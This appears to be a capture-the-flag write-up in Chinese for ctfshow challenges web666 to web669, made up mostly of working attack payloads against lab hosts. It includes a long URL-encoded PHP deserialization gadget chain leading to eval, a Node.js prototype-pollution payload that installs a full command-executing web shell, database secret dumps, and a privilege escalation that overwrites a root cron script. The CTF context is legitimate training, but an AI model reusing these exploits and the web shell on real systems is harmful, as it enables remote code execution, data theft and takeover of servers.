echo `curl "http://172.2.170.5:8888/index.php?r=site%2Funserialize%26key=flag_663=ctfshow\{fa5cc1fb0bfc986d1ef150269c0de197\}%26x=JGNvbm4gPSBuZXcgbXlzcWxpKCdsb2NhbGhvc3QnLCdyb290Jywncm9vdCcsJ2N0ZnNob3cnKTsNCiRyZXMgPSAkY29ubi0%252bcXVlcnkoInNlbGVjdCAqIGZyb20gY3Rmc2hvd19zZWNyZXQiKTsNCmlmKCRyZXMpew0KICAgJHJvdz0kcmVzLT5mZXRjaF9hcnJheShNWVNRTElfQk9USCk7DQp9DQplY2hvICRyb3dbMF07DQokY29ubi0%252bY2xvc2UoKTs=" -d "UnserializeForm[ctfshowUnserializeData]=O%253A32%253A%2522Codeception%255CExtension%255CRunProcess%2522%253A2%253A%257Bs%253A9%253A%2522%2500%252A%2500output%2522%253BO%253A22%253A%2522Faker%255CDefaultGenerator%2522%253A1%253A%257Bs%253A10%253A%2522%2500%252A%2500default%2522%253Bs%253A5%253A%2522jiang%2522%253B%257Ds%253A43%253A%2522%2500Codeception%255CExtension%255CRunProcess%2500processes%2522%253Ba%253A1%253A%257Bi%253A0%253BO%253A22%253A%2522Faker%255CDefaultGenerator%2522%253A1%253A%257Bs%253A10%253A%2522%2500%252A%2500default%2522%253BO%253A28%253A%2522GuzzleHttp%255CPsr7%255CAppendStream%2522%253A2%253A%257Bs%253A37%253A%2522%2500GuzzleHttp%255CPsr7%255CAppendStream%2500streams%2522%253Ba%253A1%253A%257Bi%253A0%253BO%253A29%253A%2522GuzzleHttp%255CPsr7%255CCachingStream%2522%253A2%253A%257Bs%253A43%253A%2522%2500GuzzleHttp%255CPsr7%255CCachingStream%2500remoteStream%2522%253BO%253A22%253A%2522Faker%255CDefaultGenerator%2522%253A1%253A%257Bs%253A10%253A%2522%2500%252A%2500default%2522%253Bb%253A0%253B%257Ds%253A6%253A%2522stream%2522%253BO%253A26%253A%2522GuzzleHttp%255CPsr7%255CPumpStream%2522%253A3%253A%257Bs%253A34%253A%2522%2500GuzzleHttp%255CPsr7%255CPumpStream%2500source%2522%253BC%253A32%253A%2522Opis%255CClosure%255CSerializableClosure%2522%253A210%253A%257Ba%253A5%253A%257Bs%253A3%253A%2522use%2522%253Ba%253A0%253A%257B%257Ds%253A8%253A%2522function%2522%253Bs%253A55%253A%2522function%2528%2529%257Beval%2528%255Cbase64_decode%2528%2524_REQUEST%255B%2522x%2522%255D%2529%2529%253Bdie%2528%2529%253B%257D%2522%253Bs%253A5%253A%2522scope%2522%253Bs%253A26%253A%2522GuzzleHttp%255CPsr7%255CPumpStream%2522%253Bs%253A4%253A%2522this%2522%253BN%253Bs%253A4%253A%2522self%2522%253Bs%253A32%253A%2522000000007c42ef3d0000000061055bbb%2522%253B%257D%257Ds%253A32%253A%2522%2500GuzzleHttp%255CPsr7%255CPumpStream%2500size%2522%253Bi%253A-10%253Bs%253A34%253A%2522%2500GuzzleHttp%255CPsr7%255CPumpStream%2500buffer%2522%253BO%253A22%253A%2522Faker%255CDefaultGenerator%2522%253A1%253A%257Bs%253A10%253A%2522%2500%252A%2500default%2522%253Bs%253A1%253A%2522j%2522%253B%257D%257D%257D%257Ds%253A38%253A%2522%2500GuzzleHttp%255CPsr7%255CAppendStream%2500seekable%2522%253Bb%253A1%253B%257D%257D%257D%257D
"`;
flag_666=ctfshow{bb4053583279be4e3be880f30ce3e53e}
web667
根据之前扫描到端口
curl http://172.2.97.5:3000
flag_667=ctfshow{503a075560764e3d116436ab73d7a560}
web668
访问3000端口服务任意路径
echo `curl "http://172.2.170.5:3000/12"`;
根据报错信息知道,服务端为nodejs
根据题目的源码提示
/login
utils.copy(user.userinfo,req.body);
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
copy函数,典型的原型链污染
这里是利用jade原型链污染写入nodejs
写入一个aa.js来执行命令,开放端口为8033
var http = require('http');
var querystring = require('querystring');
var postHTML = '123';
http.createServer(function (req, res) {
var body = "";
req.on('data', function (chunk) {
body += chunk;
});
req.on('end', function () {
body = querystring.parse(body);
res.writeHead(200, {'Content-Type': 'text/html; charset=utf8'});
try{
if(body.cmd) {
res.write("username:" + body.cmd);
var result= global.process.mainModule.constructor._load('child_process').execSync('bash -c "'+body.cmd+'"').toString();
res.write(result);
} else {
res.write(postHTML);
}}
catch{
res.write(postHTML);
}
res.end();
});
}).listen(8033);
payload
pass=echo `curl -i -X POST -H 'Content-type':'application/json' -d "{\\"__proto__\\":{\\"__proto__\\": {\\"type\\":\\"Block\\",\\"nodes\\":\\"\\",\\"compileDebug\\":1,\\"self\\":1,\\"line\\":\\"global.process.mainModule.require('child_process').exec('echo YmFzaCAtYyAiZWNobyBkbUZ5SUdoMGRIQWdQU0J5WlhGMWFYSmxLQ2RvZEhSd0p5azdDblpoY2lCeGRXVnllWE4wY21sdVp5QTlJSEpsY1hWcGNtVW9KM0YxWlhKNWMzUnlhVzVuSnlrN0NncDJZWElnY0c5emRFaFVUVXdnUFNBbk1USXpKenNLSUFwb2RIUndMbU55WldGMFpWTmxjblpsY2lobWRXNWpkR2x2YmlBb2NtVnhMQ0J5WlhNcElIc0tJQ0IyWVhJZ1ltOWtlU0E5SUNJaU93b2dJSEpsY1M1dmJpZ25aR0YwWVNjc0lHWjFibU4wYVc5dUlDaGphSFZ1YXlrZ2V3b2dJQ0FnWW05a2VTQXJQU0JqYUhWdWF6c0tJQ0I5S1RzS0lDQnlaWEV1YjI0b0oyVnVaQ2NzSUdaMWJtTjBhVzl1SUNncElIc0tJQ0FnSUdKdlpIa2dQU0J4ZFdWeWVYTjBjbWx1Wnk1d1lYSnpaU2hpYjJSNUtUc0tJQ0FnSUhKbGN5NTNjbWwwWlVobFlXUW9NakF3TENCN0owTnZiblJsYm5RdFZIbHdaU2M2SUNkMFpYaDBMMmgwYld3N0lHTm9ZWEp6WlhROWRYUm1PQ2Q5S1RzS0lIUnllWHNLSUNBZ0lHbG1LR0p2WkhrdVkyMWtLU0I3Q2lBZ0lDQWdJQ0FnY21WekxuZHlhWFJsS0NKMWMyVnlibUZ0WmUrOG1pSWdLeUJpYjJSNUxtTnRaQ2s3Q2lBZ0lDQWdJQ0FnZG1GeUlISmxjM1ZzZEQwZ1oyeHZZbUZzTG5CeWIyTmxjM011YldGcGJrMXZaSFZzWlM1amIyNXpkSEoxWTNSdmNpNWZiRzloWkNnblkyaHBiR1JmY0hKdlkyVnpjeWNwTG1WNFpXTlRlVzVqS0NkaVlYTm9JQzFqSUNJbksySnZaSGt1WTIxa0t5Y2lKeWt1ZEc5VGRISnBibWNvS1RzS0lDQWdJQ0FnSUNCeVpYTXVkM0pwZEdVb2NtVnpkV3gwS1RzS0lDQWdJSDBnWld4elpTQjdDaUFnSUNBZ0lDQWdjbVZ6TG5keWFYUmxLSEJ2YzNSSVZFMU1LVHNLSUNBZ0lIMTlDaUFnSUNCallYUmphSHNLSUNBZ0lDQWdJSEpsY3k1M2NtbDBaU2h3YjNOMFNGUk5UQ2s3SUFvZ0lDQWdmUW9nSUNBZ2NtVnpMbVZ1WkNncE93b2dJSDBwT3dwOUtTNXNhWE4wWlc0b09EQXpNeWs3Q2c9PXxiYXNlNjQgLWQgPiAvaG9tZS9ub2RlL2FhLmpzO25vZGUgL2hvbWUvbm9kZS9hYS5qcyI=|base64 -d|bash')\\"}}}" http://172.2.170.5:3000/login`;
执行任意命令
payload
pass=echo `curl -X POST -d "cmd=mysql -uroot -proot -e 'use ctfshow;select * from ctfshow_secret'" http://172.2.170.5:8033`;
flag_666=ctfshow{bb4053583279be4e3be880f30ce3e53e}
pass=echo `curl -X POST -d "cmd=cat secret.txt" http://172.2.170.5:8033`;
flag_668=ctfshow{5b617bd75e1242ab1f6f70437bb71dd5}
web669
查看运行进程中有crontab.sh,并且属于root用户。
查看内容如下
#!/bin/sh
while true
do
sh /home/node/nodestartup.sh
sleep 60
done
修改nodestartup.sh,来提升权限
payload
pass=echo `curl -X POST -d "cmd=rm -rf nodestartup.sh;echo 'cat /root/you_win > /home/node/1.txt ' > nodestartup.sh" http://172.2.132.5:8033`;
恭喜你已经拿到了第二个服务器的最高权限,师傅太强了!
你能在未知的网络空间里,抽丝剥茧,层层渗透进来,足以证明你拥有高超的技术实力和旁人不具有的坚韧意志
希望你坚持下去,坚持你的热爱,坚持你喜欢的事情,我想,总有一天,你将获得百倍的回报,并让你受用终身
此刻的坚持,是未来发出的光!
ctfshow 大菜鸡
2021年8月7日 04:39
flag_669=ctfshow{a6c74ca12174eb538a4c8c8ed99c3a74}
flag_669=ctfshow{a6c74ca12174eb538a4c8c8ed99c3a74}